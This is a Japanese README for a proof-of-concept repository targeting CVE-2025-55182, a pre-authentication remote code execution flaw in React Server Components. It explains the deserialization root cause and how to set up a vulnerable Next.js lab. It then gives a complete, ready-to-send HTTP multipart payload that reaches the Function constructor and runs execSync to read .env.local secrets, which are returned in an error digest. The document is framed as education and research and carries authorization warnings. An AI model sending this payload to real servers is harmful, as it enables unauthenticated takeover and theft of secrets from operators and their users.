
このリポジトリには、CVE-2025-55182 の POC が含まれています。これは、React Server Components(別名 React2Shell)に影響を与える、重大な(CVSS スコア 10.0)事前認証リモートコード実行脆弱性です。
⚠️ 警告: このリポジトリは教育およびセキュリティ研究目的のみです。所有していない、または明示的なテスト許可を得ていないシステムに対してこのエクスプロイトを使用しないでください。
このリポジトリには、React Server Componentsに影響を与える重大な事前認証リモートコード実行脆弱性である CVE-2025-55182 の概念実証デモが含まれています。
CVSSスコア: 10.0 (クリティカル)
影響を受けるバージョン:
react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpackCVE-2025-55182 は、React Server Components の Flight プロトコル実装における安全でないデシリアライゼーションの脆弱性です。この脆弱性により、認証されていない攻撃者が、プロトタイプチェーンの走査と安全でないプロパティアクセスパターンを悪用する悪意のあるペイロードを細工することで、サーバー上で任意の JavaScript コードを実行できます。
この脆弱性は、React Server Components が Flight プロトコルのペイロードをデシリアライズする方法に起因します。モジュール参照を処理する際、コードはブラケット記法を使用してプロパティにアクセスします (moduleExports[metadata[2]])。これにより JavaScript のプロトタイプチェーン全体が走査されます。そのため、攻撃者は明示的にエクスポートされていないプロパティ、特に constructor プロパティを参照でき、これによりグローバルな Function コンストラクタへのアクセスが可能になります。
プロトタイプ汚染の手法と React の内部チャンク処理メカニズムを組み合わせることで、攻撃者は最終的に Function コンストラクタを介して任意のコードを実行するペイロードを構築できます。
脆弱な React Server Components を含むバージョンを使用して新しいプロジェクトを作成します:
npx [email protected] poc-react2shell
cd poc-react2shell
または、このリポジトリを使用します。
プロジェクトルートに .env.local ファイルを作成し、脆弱性の影響を示します:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Next.js 開発サーバーを起動します:
npm run dev
サーバーは http://localhost:3000 で起動します。
http://localhost:3000/ に設定しますPOST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
レスポンスには、レスポンス本文に .env.local ファイルの内容が含まれているはずです:

ペイロードは3つのマルチパートフォームフィールドで構成されています:
フィールド0: 以下の内容を含む偽のチャンクオブジェクト:
$1:__proto__:then)$B1337)_prefix と _formData.get を含む汚染された _response オブジェクトフィールド1: フィールド0への参照 ($@0)
フィールド2: 空の配列 ([])
_prefix 内の悪意のあるコードは、Node.js の child_process.execSync を使用して .env.local を読み取り、その結果をエラーダイジェストに埋め込みます。
この脆弱性により、攻撃者は以下が可能になります:
実際のシナリオでこの CVE を練習する
ハンズオン CTF 環境で CVE-2025-55182 をエクスプロイトしてみませんか? OSS OopsSec Store をご覧ください。これは攻撃的セキュリティトレーニング用に設計された、意図的に脆弱性を含むラボです。この CVE はフラグの1つとして実装されています!
この概念実証は教育目的およびセキュリティ研究のためにのみ提供されています。いかなるシステムでもセキュリティ脆弱性をテストする前に、必ず明示的な書面による許可を得てください。